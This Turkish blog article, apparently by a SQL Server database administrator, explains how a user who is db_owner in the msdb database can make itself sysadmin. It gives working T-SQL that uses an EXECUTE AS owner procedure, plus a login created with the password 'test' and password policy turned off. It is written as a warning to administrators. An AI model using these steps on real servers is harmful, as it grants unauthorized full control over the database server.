Msdb üzerinden Sysadmin Yetkisine Sahip Kullanıcı Oluşturmak
  1. Anasayfa
  2. SQL Server

Msdb üzerinden Sysadmin Yetkisine Sahip Kullanıcı Oluşturmak

0

Eğer veri tabanı yönetiyorsanız sistemde sizinle aynı yetkiye sahip kullanıcı istenilen bir durum değildir. Veri tabanı üzerinde sorumluluk size aittir ama Sql Server üzerinde sysadmin yetkisine sahip kullanıcı olumlu yada olumsuz bir işlem gerçekleştirdiğinde yansıması size olacaktır. Bir de sistem üzerinde gerekli Log’lamayı yapamıyorsanız geçmiş olsun. Bu yazı Sql Server üzerinde bulunan bir açıktan yararlanarak syadmin yetkisine sahip bir kullanıcı oluşturma işlemine değinmektedir.

Öncesinde 2 adet sistem veri tabanını kısaca tanıyalım.

Master veri tabanı:

  • İşletim sistemi(OS) ile alakalı Sql Server için gerekli bilgileri bünyesinde tutar.
  • Sql Server kullanıcı hesapları ile alakalı bilgileri tutar.
  • Linked Server ve Sistem konfigürasyonları tutar.
  • Diğer veri tabanlarına ait dizin bilgilerini tutar.

Msdb veri tabanı:

  • Agent ve Job kategorisindeki işlerin bilgilerini içerir.
  • Service Broker ve Database Mail ayarlarını içerir.
  • Sql server Management Studio’nun kullanacağı bilgileri içerir.
  • Yedekleme geçmişini dair ayrıntıları tutar.

İki veri tabanını kısaca tanıdıktan sonra görüyoruz ki msdb veri tabanında kullanıcılar ile alakalı bir bilgi tutulmamaktadır.

Senaryomuza bakacak olursak,

Sadece msdb üzerine db_owner olarak bir kullanıcı oluşturalım;

CREATE LOGIN mshowtoTest WITH PASSWORD ='test', CHECK_POLICY = OFF;
GO
USE msdb
GO
CREATE USER mshowtoTest FROM LOGIN mshowtoTest;
GO
ALTER ROLE db_owner ADD MEMBER mshowtoTest;
GO

Daha sonra kullanıcıya sysadmin yetkisini vermek adına aşağıdaki kodlar üzerinden işlemlerimize devam edelim;

USE msdb
GO
CREATE PROCEDURE dbo.sysAdminEkle 
WITH EXECUTE AS owner
AS
ALTER SERVER ROLE sysadmin ADD MEMBER mshowtoTest;
GO
EXEC dbo.sysAdminEkle;

Artık tanımladığımız kullanıcı sysadmin olarak sistem üzerinde tam yetkili hale geldi. Aldığı bu yetki ile sistem üzerinde yapamayacağı herhangi bir şey kalmıyor.

Resim 1

Eğer Sql Server yönetimi gerçekleştiriyorsanız msdb üzerinde db_owner yetkisi vermemek yerinde olacaktır. Kullanıcı bilgilerini tutmadığı halde Msdb veri tabanından yola çıkarak sysadmin yetkisine sahip bir kullanıcı oluşturduk. Art niyetli olarak gerçekleştirilecek bir işlemin sonuçları olumsuz olabilir.

 

Referanslar:

www.mshowto.org

https://docs.microsoft.com/en-us/sql/relational-databases/databases/msdb-database?view=sql-server-2017

https://docs.microsoft.com/en-us/sql/relational-databases/databases/master-database?view=sql-server-2017

https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2017

TAGs: Sql server msdb, SQl server syadmin, master veri tabanı, msdb veri tabanı, sysadmin kullanıcı oluşturmak,

Bu İçeriğe Tepkin Ne Oldu?
  • 0
    harika_
    Harika!!
  • 0
    be_enmedim
    Beğenmedim
  • 0
    _ok_iyi
    Çok iyi
  • 0
    sevdim_
    Sevdim!
  • 0
    bilemedim_
    Bilemedim!
  • 0
    olmad_
    Olmadı!
  • 0
    k_zd_m_
    Kızdım!

Karaman doğumluyum. Lisans eğitimimi Cumhuriyet Üniversitesi Yönetim Bilişim Sistemlerinde tamamladım. Lisans eğitimimi tamamladıktan sonra Ankara'da bir yazılım firmasında yaklaşık 1.5 yıl çalıştım. Daha sonra İstanbul'da Erp ürünleri destek ve satışını yapan bir firmada çalıştım. Şu an bilişim sektöründe DMC Teknoloji bünyesinde Sql Server Database Administrator olarak çalışmaktayım. Microsoft Azure SQL, Microsoft SQL Server alanlarında makaleler yazmakla birlikte Mshowto Podcast çalışmalarına katkıda bulunuyorum.

Yazarın Profili

Bültenimize Katılın

Tıklayın, üyemiz olun ve yeni güncellemelerden haberdar olan ilk kişi siz olun.

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir